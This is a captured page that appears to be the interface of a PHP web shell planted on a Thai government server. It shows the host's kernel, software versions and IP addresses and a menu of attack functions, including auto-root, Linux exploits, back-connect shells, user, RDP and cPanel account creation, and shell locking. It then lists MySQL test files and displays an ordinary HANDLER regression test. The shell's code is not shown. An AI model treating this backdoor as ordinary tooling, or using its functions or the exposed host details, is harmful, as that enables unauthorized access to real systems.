Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
mysql-test /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
add_anonymous_users.inc
187
B
-rw-r--r--
analyze-sync_with_master.test
283
B
-rw-r--r--
analyze-timeout.test
25
B
-rw-r--r--
assert.inc
5.62
KB
-rw-r--r--
begin_include_file.inc
2.61
KB
-rw-r--r--
big_test.inc
107
B
-rw-r--r--
binlog_inject_error.inc
457
B
-rw-r--r--
check-testcase.test
533
B
-rw-r--r--
check-warnings.test
1.55
KB
-rw-r--r--
check_concurrent_insert.inc
2.66
KB
-rw-r--r--
check_events_off.inc
1.82
KB
-rw-r--r--
check_no_concurrent_insert.inc
2.04
KB
-rw-r--r--
check_no_row_lock.inc
1.76
KB
-rw-r--r--
check_shared_row_lock.inc
1.39
KB
-rw-r--r--
check_slave_is_running.inc
651
B
-rw-r--r--
check_slave_no_error.inc
655
B
-rw-r--r--
check_slave_param.inc
1.02
KB
-rw-r--r--
check_var_limit.inc
394
B
-rw-r--r--
cleanup_fake_relay_log.inc
669
B
-rw-r--r--
commit.inc
20.54
KB
-rw-r--r--
common-tests.inc
115.9
KB
-rw-r--r--
concurrent.inc
25.01
KB
-rw-r--r--
connect2.inc
977
B
-rw-r--r--
count_sessions.inc
382
B
-rw-r--r--
ctype_8bit.inc
2.85
KB
-rw-r--r--
ctype_common.inc
2.82
KB
-rw-r--r--
ctype_filesort.inc
377
B
-rw-r--r--
ctype_german.inc
965
B
-rw-r--r--
ctype_innodb_like.inc
665
B
-rw-r--r--
ctype_like_escape.inc
592
B
-rw-r--r--
ctype_like_range_f1f2.inc
835
B
-rw-r--r--
ctype_regex.inc
1.03
KB
-rw-r--r--
ddl_i18n.check_events.inc
864
B
-rw-r--r--
ddl_i18n.check_sp.inc
1.48
KB
-rw-r--r--
ddl_i18n.check_triggers.inc
1.55
KB
-rw-r--r--
ddl_i18n.check_views.inc
544
B
-rw-r--r--
deadlock.inc
3.57
KB
-rw-r--r--
default_my.cnf
1.25
KB
-rw-r--r--
default_mysqld.cnf
1.19
KB
-rw-r--r--
default_ndbd.cnf
836
B
-rw-r--r--
delete_anonymous_users.inc
207
B
-rw-r--r--
diff_tables.inc
6.49
KB
-rw-r--r--
end_include_file.inc
2.42
KB
-rw-r--r--
endspace.inc
338
B
-rw-r--r--
file_does_not_exist.inc
340
B
-rw-r--r--
force_restart.inc
335
B
-rw-r--r--
force_restart_if_skipped.inc
346
B
-rw-r--r--
get_relay_log_pos.inc
2.77
KB
-rw-r--r--
gis_generic.inc
12.67
KB
-rw-r--r--
gis_keys.inc
1.93
KB
-rw-r--r--
grant_cache.inc
7.53
KB
-rw-r--r--
handler.inc
17.11
KB
-rw-r--r--
have_32bit.inc
400
B
-rw-r--r--
have_64bit.inc
357
B
-rw-r--r--
have_archive.inc
180
B
-rw-r--r--
have_big5.inc
107
B
-rw-r--r--
have_binlog_format_mixed.inc
155
B
-rw-r--r--
have_binlog_format_mixed_or_ro...
181
B
-rw-r--r--
have_binlog_format_mixed_or_st...
193
B
-rw-r--r--
have_binlog_format_row.inc
153
B
-rw-r--r--
have_binlog_format_row_or_stat...
192
B
-rw-r--r--
have_binlog_format_statement.i...
159
B
-rw-r--r--
have_blackhole.inc
173
B
-rw-r--r--
have_case_insensitive_file_sys...
134
B
-rw-r--r--
have_case_insensitive_fs.inc
125
B
-rw-r--r--
have_case_sensitive_file_syste...
132
B
-rw-r--r--
have_community_features.inc
130
B
-rw-r--r--
have_compress.inc
109
B
-rw-r--r--
have_cp1250_ch.inc
112
B
-rw-r--r--
have_cp1251.inc
115
B
-rw-r--r--
have_cp866.inc
113
B
-rw-r--r--
have_cp932.inc
110
B
-rw-r--r--
have_crypt.inc
103
B
-rw-r--r--
have_csv.inc
174
B
-rw-r--r--
have_dbi_dbd-mysql.inc
3.1
KB
-rw-r--r--
have_debug.inc
113
B
-rw-r--r--
have_debug_sync.inc
196
B
-rw-r--r--
have_dynamic_loading.inc
169
B
-rw-r--r--
have_eucjpms.inc
114
B
-rw-r--r--
have_euckr.inc
108
B
-rw-r--r--
have_example_plugin.inc
319
B
-rw-r--r--
have_exampledb.inc
178
B
-rw-r--r--
have_federated_plugin.inc
151
B
-rw-r--r--
have_gb2312.inc
111
B
-rw-r--r--
have_gbk.inc
105
B
-rw-r--r--
have_geometry.inc
110
B
-rw-r--r--
have_innodb.inc
163
B
-rw-r--r--
have_innodb_change_buffering.i...
200
B
-rw-r--r--
have_innodb_plugin.inc
260
B
-rw-r--r--
have_koi8r.inc
113
B
-rw-r--r--
have_latin2_ch.inc
112
B
-rw-r--r--
have_local_infile.inc
111
B
-rw-r--r--
have_log_bin.inc
238
B
-rw-r--r--
have_lowercase0.inc
116
B
-rw-r--r--
have_lowercase1.inc
116
B
-rw-r--r--
have_lowercase2.inc
116
B
-rw-r--r--
have_multi_ndb.inc
1.58
KB
-rw-r--r--
have_mysql_upgrade.inc
134
B
-rw-r--r--
have_ndb.inc
518
B
-rw-r--r--
have_ndb_extra.inc
65
B
-rw-r--r--
have_ndbapi_examples.inc
148
B
-rw-r--r--
have_not_innodb_plugin.inc
185
B
-rw-r--r--
have_outfile.inc
171
B
-rw-r--r--
have_partition.inc
114
B
-rw-r--r--
have_query_cache.inc
115
B
-rw-r--r--
have_simple_parser.inc
315
B
-rw-r--r--
have_sjis.inc
108
B
-rw-r--r--
have_ssl.inc
99
B
-rw-r--r--
have_symlink.inc
391
B
-rw-r--r--
have_tis620.inc
108
B
-rw-r--r--
have_ucs2.inc
107
B
-rw-r--r--
have_udf.inc
319
B
-rw-r--r--
have_ujis.inc
108
B
-rw-r--r--
have_utf8.inc
111
B
-rw-r--r--
have_valgrind.inc
182
B
-rw-r--r--
index_merge1.inc
18.08
KB
-rw-r--r--
index_merge2.inc
11.79
KB
-rw-r--r--
index_merge_2sweeps.inc
1.52
KB
-rw-r--r--
index_merge_ror.inc
9.73
KB
-rw-r--r--
index_merge_ror_cpk.inc
4.32
KB
-rw-r--r--
innodb_rollback_on_timeout.inc
931
B
-rw-r--r--
innodb_trx_weight.inc
861
B
-rw-r--r--
io_thd_fault_injection.inc
598
B
-rw-r--r--
is_embedded.inc
126
B
-rw-r--r--
kill_query.inc
1.73
KB
-rw-r--r--
kill_query_and_diff_master_sla...
1.05
KB
-rw-r--r--
linux_sys_vars.inc
803
B
-rw-r--r--
load_sysvars.inc
442
B
-rw-r--r--
loaddata_autocom.inc
889
B
-rw-r--r--
master-slave.inc
1.68
KB
-rw-r--r--
min_null_cond.inc
1.55
KB
-rw-r--r--
mix1.inc
44.9
KB
-rw-r--r--
mix2.inc
76.35
KB
-rw-r--r--
mix2_ucs2.inc
11.52
KB
-rw-r--r--
mtr_check.sql
2.86
KB
-rw-r--r--
mtr_warnings.sql
6.89
KB
-rw-r--r--
mysqlbinlog_have_debug.inc
989
B
-rw-r--r--
mysqldump.inc
2.02
KB
-rw-r--r--
mysqlhotcopy.inc
4.75
KB
-rw-r--r--
mysqltest-x.inc
41
B
-rw-r--r--
ndb_backup.inc
1.7
KB
-rw-r--r--
ndb_backup_print.inc
521
B
-rw-r--r--
ndb_default_cluster.inc
119
B
-rw-r--r--
ndb_master-slave.inc
398
B
-rw-r--r--
ndb_master-slave_2ch.inc
1.76
KB
-rw-r--r--
ndb_not_readonly.inc
844
B
-rw-r--r--
ndb_restore_master.inc
640
B
-rw-r--r--
ndb_restore_slave_eoption.inc
657
B
-rw-r--r--
ndb_setup_slave.inc
805
B
-rw-r--r--
ndb_wait_connected.inc
470
B
-rw-r--r--
no_running_event_scheduler.inc
1.51
KB
-rw-r--r--
no_running_events.inc
1.72
KB
-rw-r--r--
no_valgrind_without_big.inc
364
B
-rw-r--r--
not_as_root.inc
45
B
-rw-r--r--
not_binlog_format_row.inc
92
B
-rw-r--r--
not_blackhole.inc
173
B
-rw-r--r--
not_crashrep.inc
594
B
-rw-r--r--
not_embedded.inc
127
B
-rw-r--r--
not_ndb.inc
183
B
-rw-r--r--
not_ndb_default.inc
161
B
-rw-r--r--
not_openssl.inc
106
B
-rw-r--r--
not_valgrind.inc
118
B
-rw-r--r--
not_windows.inc
165
B
-rw-r--r--
not_windows_embedded.inc
305
B
-rw-r--r--
one_thread_per_connection.inc
111
B
-rw-r--r--
parser_bug21114.inc
1.32
KB
-rw-r--r--
partition_date_range.inc
2.63
KB
-rw-r--r--
ps_conv.inc
47.8
KB
-rw-r--r--
ps_create.inc
1.42
KB
-rw-r--r--
ps_ddl_1.inc
468
B
-rw-r--r--
ps_modify.inc
10.22
KB
-rw-r--r--
ps_modify1.inc
3.16
KB
-rw-r--r--
ps_query.inc
24.49
KB
-rw-r--r--
ps_renew.inc
1.48
KB
-rw-r--r--
query_cache.inc
5.71
KB
-rw-r--r--
query_cache_sql_prepare.inc
13.1
KB
-rw-r--r--
read_many_rows.inc
4.28
KB
-rw-r--r--
report-features.test
186
B
-rw-r--r--
restart_mysqld.inc
1.02
KB
-rw-r--r--
restart_slave_sql.inc
1001
B
-rw-r--r--
rowid_order.inc
2.97
KB
-rw-r--r--
rpl_change_topology.inc
9.72
KB
-rw-r--r--
rpl_connect.inc
1.54
KB
-rw-r--r--
rpl_connection.inc
1.27
KB
-rw-r--r--
rpl_connection_master.inc
68
B
-rw-r--r--
rpl_connection_slave.inc
67
B
-rw-r--r--
rpl_connection_slave1.inc
68
B
-rw-r--r--
rpl_diff.inc
3.2
KB
-rw-r--r--
rpl_end.inc
2.76
KB
-rw-r--r--
rpl_events.inc
5.83
KB
-rw-r--r--
rpl_for_each_slave.inc
952
B
-rw-r--r--
rpl_generate_sync_chain.inc
5.51
KB
-rw-r--r--
rpl_init.inc
7.08
KB
-rw-r--r--
rpl_loaddata_charset.inc
781
B
-rw-r--r--
rpl_multi_engine.inc
729
B
-rw-r--r--
rpl_multi_engine2.inc
2.56
KB
-rw-r--r--
rpl_multi_engine3.inc
2.21
KB
-rw-r--r--
rpl_reconnect.inc
3.16
KB
-rw-r--r--
rpl_reset.inc
1.96
KB
-rw-r--r--
rpl_restart_server.inc
1.04
KB
-rw-r--r--
rpl_start_server.inc
1.53
KB
-rw-r--r--
rpl_start_slaves.inc
843
B
-rw-r--r--
rpl_stmt_seq.inc
7.63
KB
-rw-r--r--
rpl_stop_server.inc
1.92
KB
-rw-r--r--
rpl_stop_slaves.inc
780
B
-rw-r--r--
rpl_sync.inc
4.63
KB
-rw-r--r--
rpl_udf.inc
5.62
KB
-rw-r--r--
running_event_scheduler.inc
1.76
KB
-rw-r--r--
safe_set_to_maybe_ro_var.inc
707
B
-rw-r--r--
save_master_pos.inc
864
B
-rw-r--r--
search_pattern_in_file.inc
2.57
KB
-rw-r--r--
select_ndb_apply_status.inc
505
B
-rw-r--r--
set_binlog_format_mixed.sql
783
B
-rw-r--r--
set_binlog_format_row.sql
779
B
-rw-r--r--
set_binlog_format_statement.sq...
791
B
-rw-r--r--
setup_fake_relay_log.inc
2.92
KB
-rw-r--r--
show_binary_logs.inc
91
B
-rw-r--r--
show_binlog_events.inc
1.49
KB
-rw-r--r--
show_binlog_events2.inc
218
B
-rw-r--r--
show_binlog_using_logname.inc
512
B
-rw-r--r--
show_master_logs.inc
106
B
-rw-r--r--
show_master_status.inc
133
B
-rw-r--r--
show_msg.inc
747
B
-rw-r--r--
show_msg80.inc
4.46
KB
-rw-r--r--
show_rpl_debug_info.inc
2.71
KB
-rw-r--r--
show_slave_status.inc
2.72
KB
-rw-r--r--
sp-vars.inc
3.29
KB
-rw-r--r--
start_slave.inc
758
B
-rw-r--r--
stop_slave.inc
2.32
KB
-rw-r--r--
stop_slave_io.inc
934
B
-rw-r--r--
stop_slave_sql.inc
843
B
-rw-r--r--
strict_autoinc.inc
619
B
-rw-r--r--
sync_io_with_master.inc
1.13
KB
-rw-r--r--
sync_slave_io_with_master.inc
1.3
KB
-rw-r--r--
sync_slave_sql_with_io.inc
1.47
KB
-rw-r--r--
system_db_struct.inc
477
B
-rw-r--r--
test_fieldsize.inc
698
B
-rw-r--r--
test_outfile.inc
76
B
-rw-r--r--
testdb_only.inc
1.39
KB
-rw-r--r--
tpcb.inc
4.37
KB
-rw-r--r--
tpcb_disk_data.inc
4.76
KB
-rw-r--r--
truncate_file.inc
308
B
-rw-r--r--
unsafe_binlog.inc
6.73
KB
-rw-r--r--
uses_vardir.inc
385
B
-rw-r--r--
varchar.inc
7.12
KB
-rw-r--r--
view_alias.inc
1.05
KB
-rw-r--r--
wait_condition.inc
1.23
KB
-rw-r--r--
wait_condition_sp.inc
1.27
KB
-rw-r--r--
wait_for_binlog_event.inc
827
B
-rw-r--r--
wait_for_query_to_fail.inc
366
B
-rw-r--r--
wait_for_query_to_succeed.inc
371
B
-rw-r--r--
wait_for_slave_io_error.inc
3.01
KB
-rw-r--r--
wait_for_slave_io_to_start.inc
851
B
-rw-r--r--
wait_for_slave_io_to_stop.inc
967
B
-rw-r--r--
wait_for_slave_param.inc
3.8
KB
-rw-r--r--
wait_for_slave_sql_error.inc
2.41
KB
-rw-r--r--
wait_for_slave_sql_error_and_s...
1.67
KB
-rw-r--r--
wait_for_slave_sql_to_start.in...
905
B
-rw-r--r--
wait_for_slave_sql_to_stop.inc
975
B
-rw-r--r--
wait_for_slave_to_start.inc
678
B
-rw-r--r--
wait_for_slave_to_stop.inc
946
B
-rw-r--r--
wait_for_status_var.inc
2.2
KB
-rw-r--r--
wait_show_condition.inc
2.29
KB
-rw-r--r--
wait_until_connected_again.inc
546
B
-rw-r--r--
wait_until_count_sessions.inc
4.12
KB
-rw-r--r--
wait_until_disconnected.inc
382
B
-rw-r--r--
wait_until_rows_count.inc
409
B
-rw-r--r--
windows.inc
118
B
-rw-r--r--
windows_sys_vars.inc
802
B
-rw-r--r--
write_var_to_file.inc
1.7
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : handler.inc
# include/handler.inc # # The variables # $engine_type -- storage engine to be tested # $other_engine_type -- storage engine <> $engine_type # $other_handler_engine_type -- storage engine <> $engine_type, if possible # 1. $other_handler_engine_type must support handler # 2. $other_handler_engine_type must point to an all # time available storage engine # 2006-08 MySQL 5.1 MyISAM and MEMORY only # have to be set before sourcing this script. -- source include/not_embedded.inc # # test of HANDLER ... # # Last update: # 2006-07-31 ML test refactored (MySQL 5.1) # code of t/handler.test and t/innodb_handler.test united # main testing code put into include/handler.inc # eval SET SESSION STORAGE_ENGINE = $engine_type; --disable_warnings drop table if exists t1,t3,t4,t5; --enable_warnings create table t1 (a int, b char(10), key a(a), key b(a,b)); insert into t1 values (17,"ddd"),(18,"eee"),(19,"fff"),(19,"yyy"), (14,"aaa"),(15,"bbb"),(16,"ccc"),(16,"xxx"), (20,"ggg"),(21,"hhh"),(22,"iii"); handler t1 open as t2; -- error 1064 handler t2 read a=(SELECT 1); handler t2 read a first; handler t2 read a next; handler t2 read a next; handler t2 read a prev; handler t2 read a last; handler t2 read a prev; handler t2 read a prev; handler t2 read a first; handler t2 read a prev; handler t2 read a last; handler t2 read a prev; handler t2 read a next; handler t2 read a next; handler t2 read a=(15); handler t2 read a=(16); --error 1070 handler t2 read a=(19,"fff"); handler t2 read b=(19,"fff"); handler t2 read b=(19,"yyy"); handler t2 read b=(19); --error 1109 handler t1 read a last; handler t2 read a=(11); handler t2 read a>=(11); handler t2 read a=(18); handler t2 read a>=(18); handler t2 read a>(18); handler t2 read a<=(18); handler t2 read a<(18); handler t2 read a first limit 5; handler t2 read a next limit 3; handler t2 read a prev limit 10; handler t2 read a>=(16) limit 4; handler t2 read a>=(16) limit 2,2; handler t2 read a last limit 3; handler t2 read a=(19); handler t2 read a=(19) where b="yyy"; handler t2 read first; handler t2 read next; handler t2 read next; --error 1064 handler t2 read last; handler t2 close; handler t1 open; handler t1 read a next; # this used to crash as a bug#5373 handler t1 read a next; handler t1 close; handler t1 open; handler t1 read a prev; # this used to crash as a bug#5373 handler t1 read a prev; handler t1 close; handler t1 open as t2; handler t2 read first; eval alter table t1 engine = $engine_type; --error 1109 handler t2 read first; # # DROP TABLE / ALTER TABLE # handler t1 open as t2; drop table t1; create table t1 (a int); insert into t1 values (17); --error 1109 handler t2 read first; handler t1 open as t2; eval alter table t1 engine=$other_engine_type; --error 1109 handler t2 read first; drop table t1; # # Test case for the bug #787 # create table t1 (a int); insert into t1 values (1),(2),(3),(4),(5),(6); delete from t1 limit 2; handler t1 open; handler t1 read first; handler t1 read first limit 1,1; handler t1 read first limit 2,2; delete from t1 limit 3; handler t1 read first; drop table t1; # # Test for #751 # create table t1(a int, index(a)); insert into t1 values (1), (2), (3); handler t1 open; --error 1054 handler t1 read a=(W); --error 1210 handler t1 read a=(a); drop table t1; # # BUG#2304 # create table t1 (a char(5)); insert into t1 values ("Ok"); handler t1 open as t; handler t read first; use mysql; handler t read first; handler t close; handler test.t1 open as t; handler t read first; handler t close; use test; drop table t1; # # BUG#3649 # create table t1 ( a int, b int, INDEX a (a) ); insert into t1 values (1,2), (2,1); handler t1 open; handler t1 read a=(1) where b=2; handler t1 read a=(1) where b=3; handler t1 read a=(1) where b=1; handler t1 close; drop table t1; # # Check if two database names beginning the same are seen as different. # # This database begins like the usual 'test' database. # --disable_warnings drop database if exists test_test; --enable_warnings create database test_test; use test_test; create table t1(table_id char(20) primary key); insert into t1 values ('test_test.t1'); insert into t1 values (''); handler t1 open; handler t1 read first limit 9; create table t2(table_id char(20) primary key); insert into t2 values ('test_test.t2'); insert into t2 values (''); handler t2 open; handler t2 read first limit 9; # # This is the usual 'test' database. # use test; --disable_warnings drop table if exists t1; --enable_warnings create table t1(table_id char(20) primary key); insert into t1 values ('test.t1'); insert into t1 values (''); --error 1066 handler t1 open; # # Check accesibility of all the tables. # use test; --error 1064 handler test.t1 read first limit 9; --error 1064 handler test_test.t1 read first limit 9; handler t1 read first limit 9; --error 1064 handler test_test.t2 read first limit 9; handler t2 read first limit 9; # # Cleanup. # --error 1064 handler test_test.t1 close; handler t1 close; drop table test_test.t1; --error 1064 handler test_test.t2 close; handler t2 close; drop table test_test.t2; drop database test_test; # use test; --error 1064 handler test.t1 close; --error 1109 handler t1 close; drop table test.t1; # # BUG#4335 # --disable_warnings drop database if exists test_test; drop table if exists t1; drop table if exists t2; drop table if exists t3; --enable_warnings create database test_test; use test_test; create table t1 (c1 char(20)); insert into t1 values ('test_test.t1'); create table t3 (c1 char(20)); insert into t3 values ('test_test.t3'); handler t1 open; handler t1 read first limit 9; handler t1 open h1; handler h1 read first limit 9; use test; create table t1 (c1 char(20)); create table t2 (c1 char(20)); create table t3 (c1 char(20)); insert into t1 values ('t1'); insert into t2 values ('t2'); insert into t3 values ('t3'); --error 1066 handler t1 open; --error 1066 handler t2 open t1; --error 1066 handler t3 open t1; handler t1 read first limit 9; --error 1064 handler test.t1 close; --error 1066 handler test.t1 open h1; --error 1066 handler test_test.t1 open h1; handler test_test.t3 open h3; handler test.t1 open h2; handler t1 read first limit 9; handler h1 read first limit 9; handler h2 read first limit 9; handler h3 read first limit 9; handler h2 read first limit 9; --error 1064 handler test.h1 close; handler t1 close; handler h1 close; handler h2 close; --error 1109 handler t1 read first limit 9; --error 1109 handler h1 read first limit 9; --error 1109 handler h2 read first limit 9; handler h3 read first limit 9; handler h3 read first limit 9; use test_test; handler h3 read first limit 9; --error 1064 handler test.h3 read first limit 9; handler h3 close; use test; drop table t3; drop table t2; drop table t1; drop database test_test; # # Test if fix for BUG#4286 correctly closes handler tables. # create table t1 (c1 char(20)); insert into t1 values ("t1"); handler t1 open as h1; handler h1 read first limit 9; create table t2 (c1 char(20)); insert into t2 values ("t2"); handler t2 open as h2; handler h2 read first limit 9; create table t3 (c1 char(20)); insert into t3 values ("t3"); handler t3 open as h3; handler h3 read first limit 9; create table t4 (c1 char(20)); insert into t4 values ("t4"); handler t4 open as h4; handler h4 read first limit 9; create table t5 (c1 char(20)); insert into t5 values ("t5"); handler t5 open as h5; handler h5 read first limit 9; # close first eval alter table t1 engine=$other_handler_engine_type; --error 1109 handler h1 read first limit 9; handler h2 read first limit 9; handler h3 read first limit 9; handler h4 read first limit 9; handler h5 read first limit 9; # close last eval alter table t5 engine=$other_handler_engine_type; --error 1109 handler h1 read first limit 9; handler h2 read first limit 9; handler h3 read first limit 9; handler h4 read first limit 9; --error 1109 handler h5 read first limit 9; # close middle eval alter table t3 engine=$other_handler_engine_type; --error 1109 handler h1 read first limit 9; handler h2 read first limit 9; --error 1109 handler h3 read first limit 9; handler h4 read first limit 9; --error 1109 handler h5 read first limit 9; handler h2 close; handler h4 close; # close all depending handler tables handler t1 open as h1_1; handler t1 open as h1_2; handler t1 open as h1_3; handler h1_1 read first limit 9; handler h1_2 read first limit 9; handler h1_3 read first limit 9; eval alter table t1 engine=$engine_type; --error 1109 handler h1_1 read first limit 9; --error 1109 handler h1_2 read first limit 9; --error 1109 handler h1_3 read first limit 9; drop table t1; drop table t2; drop table t3; drop table t4; drop table t5; # # Bug#14397 - OPTIMIZE TABLE with an open HANDLER causes a crash # create table t1 (c1 int); insert into t1 values (1); # client 1 handler t1 open; handler t1 read first; # client 2 connect (con2,localhost,root,,); connection con2; --exec echo send the below to another connection, do not wait for the result send optimize table t1; --sleep 1 # client 1 --exec echo proceed with the normal connection connection default; handler t1 read next; handler t1 close; # client 2 --exec echo read the result from the other connection connection con2; reap; # client 1 --exec echo proceed with the normal connection connection default; drop table t1; CREATE TABLE t1 ( no1 smallint(5) NOT NULL default '0', no2 int(10) NOT NULL default '0', PRIMARY KEY (no1,no2)); INSERT INTO t1 VALUES (1,274),(1,275),(2,6),(2,8),(4,1),(4,2); HANDLER t1 OPEN; HANDLER t1 READ `primary` = (1, 1000); HANDLER t1 READ `primary` PREV; DROP TABLE t1; # End of 4.1 tests # # Addendum to Bug#14397 - OPTIMIZE TABLE with an open HANDLER causes a crash # Show that DROP TABLE can no longer deadlock against # FLUSH TABLES WITH READ LOCK. This is a 5.0 issue. # create table t1 (c1 int); insert into t1 values (14397); flush tables with read lock; # The thread with the global read lock cannot drop the table itself: --error 1223 drop table t1; # # client 2 # We need a second connection to try the drop. # The drop waits for the global read lock to go away. # Without the addendum fix it locked LOCK_open before entering the wait loop. connection con2; --exec echo send the below to another connection, do not wait for the result send drop table t1; --sleep 1 # # client 1 # Now we need something that wants LOCK_open. A simple table access which # opens the table does the trick. --exec echo proceed with the normal connection connection default; # This would hang on LOCK_open without the 5.0 addendum fix. select * from t1; # Release the read lock. This should make the DROP go through. unlock tables; # # client 2 # Read the result of the drop command. connection con2; --exec echo read the result from the other connection reap; # # client 1 # Now back to normal operation. The table should not exist any more. --exec echo proceed with the normal connection connection default; --error 1146 select * from t1; # Just to be sure and not confuse the next test case writer. drop table if exists t1; # # Bug#25856 - HANDLER table OPEN in one connection lock DROP TABLE in another one # --disable_warnings drop table if exists t1; --enable_warnings eval create table t1 (a int) ENGINE=$other_engine_type; --echo --> client 2 connection con2; --error 1031 handler t1 open; --echo --> client 1 connection default; drop table t1; disconnect con2; # # Bug#30632 HANDLER read failure causes hang # --disable_warnings drop table if exists t1; --enable_warnings create table t1 (a int); handler t1 open as t1_alias; --error 1176 handler t1_alias read a next; --error 1054 handler t1_alias READ a next where inexistent > 0; --error 1176 handler t1_alias read a next; --error 1054 handler t1_alias READ a next where inexistent > 0; handler t1_alias close; drop table t1; # # Bug#21587 FLUSH TABLES causes server crash when used with HANDLER statements # --disable_warnings drop table if exists t1,t2; --enable_warnings create table t1 (c1 int); create table t2 (c1 int); insert into t1 values (1); insert into t2 values (2); --echo connection: default handler t1 open; handler t1 read first; connect (flush,localhost,root,,); connection flush; --echo connection: flush --send flush tables; connection default; --echo connection: default let $wait_condition= select count(*) = 1 from information_schema.processlist where state = "Flushing tables"; --source include/wait_condition.inc handler t2 open; handler t2 read first; handler t1 read next; handler t1 close; handler t2 close; connection flush; reap; connection default; drop table t1,t2; disconnect flush; # # Bug#31409 RENAME TABLE causes server crash or deadlock when used with HANDLER statements # --disable_warnings drop table if exists t1,t2; --enable_warnings create table t1 (c1 int); --echo connection: default handler t1 open; handler t1 read first; connect (flush,localhost,root,,); connection flush; --echo connection: flush --send rename table t1 to t2; connection default; --echo connection: default let $wait_condition= select count(*) = 1 from information_schema.processlist where state = "Waiting for table" and info = "rename table t1 to t2"; --source include/wait_condition.inc handler t2 open; handler t2 read first; --error ER_NO_SUCH_TABLE handler t1 read next; handler t1 close; handler t2 close; connection flush; reap; connection default; drop table t2; disconnect flush; # # Bug#30882 Dropping a temporary table inside a stored function may cause a server crash # # Test HANDLER statements in conjunction with temporary tables. While the temporary table # is open by a HANDLER, no other statement can access it. # --disable_warnings drop table if exists t1; --enable_warnings create temporary table t1 (a int, b char(1), key a(a), key b(a,b)); insert into t1 values (0,"a"),(1,"b"),(2,"c"),(3,"d"),(4,"e"), (5,"f"),(6,"g"),(7,"h"),(8,"i"),(9,"j"); select a,b from t1; handler t1 open as a1; handler a1 read a first; handler a1 read a next; handler a1 read a next; --error ER_CANT_REOPEN_TABLE select a,b from t1; handler a1 read a prev; handler a1 read a prev; handler a1 read a=(6) where b="g"; handler a1 close; select a,b from t1; handler t1 open as a2; handler a2 read a first; handler a2 read a last; handler a2 read a prev; handler a2 close; drop table t1; # # Bug#31397 Inconsistent drop table behavior of handler tables. # --disable_warnings drop table if exists t1,t2; --enable_warnings create table t1 (a int); handler t1 open as t1_alias; drop table t1; create table t1 (a int); handler t1 open as t1_alias; flush tables; drop table t1; create table t1 (a int); handler t1 open as t1_alias; handler t1_alias close; drop table t1; create table t1 (a int); handler t1 open as t1_alias; handler t1_alias read first; drop table t1; --error ER_UNKNOWN_TABLE handler t1_alias read next; # Test that temporary tables associated with handlers are properly dropped. create table t1 (a int); create temporary table t2 (a int, key(a)); handler t1 open as a1; handler t2 open as a2; handler a2 read a first; drop table t1, t2; --error ER_UNKNOWN_TABLE handler a2 read a next; --error ER_UNKNOWN_TABLE handler a1 close; # Alter table drop handlers create table t1 (a int, key(a)); create table t2 like t1; handler t1 open as a1; handler t2 open as a2; handler a1 read a first; handler a2 read a first; alter table t1 add b int; --error ER_UNKNOWN_TABLE handler a1 close; handler a2 close; drop table t1, t2; # Rename table drop handlers create table t1 (a int, key(a)); handler t1 open as a1; handler a1 read a first; rename table t1 to t2; --error ER_UNKNOWN_TABLE handler a1 read a first; drop table t2; # Optimize table drop handlers create table t1 (a int, key(a)); create table t2 like t1; handler t1 open as a1; handler t2 open as a2; handler a1 read a first; handler a2 read a first; optimize table t1; --error ER_UNKNOWN_TABLE handler a1 close; handler a2 close; drop table t1, t2; # Flush tables causes handlers reopen create table t1 (a int, b char(1), key a(a), key b(a,b)); insert into t1 values (0,"a"),(1,"b"),(2,"c"),(3,"d"),(4,"e"), (5,"f"),(6,"g"),(7,"h"),(8,"i"),(9,"j"); handler t1 open; handler t1 read a first; handler t1 read a next; flush tables; handler t1 read a next; handler t1 read a next; flush tables with read lock; handler t1 read a next; unlock tables; drop table t1; --error ER_UNKNOWN_TABLE handler t1 read a next; # # Bug#41110: crash with handler command when used concurrently with alter table # Bug#41112: crash in mysql_ha_close_table/get_lock_data with alter table # --disable_warnings drop table if exists t1; --enable_warnings create table t1 (a int); insert into t1 values (1); handler t1 open; connect(con1,localhost,root,,); send alter table t1 engine=memory; connection default; let $wait_condition= select count(*) = 1 from information_schema.processlist where state = "rename result table" and info = "alter table t1 engine=memory"; --source include/wait_condition.inc --error ER_ILLEGAL_HA handler t1 read a next; handler t1 close; connection con1; --reap drop table t1; disconnect con1; --source include/wait_until_disconnected.inc connection default; # # Bug#44151 using handler commands on information_schema tables crashes server # USE information_schema; --error ER_WRONG_USAGE HANDLER COLUMNS OPEN; USE test;
Close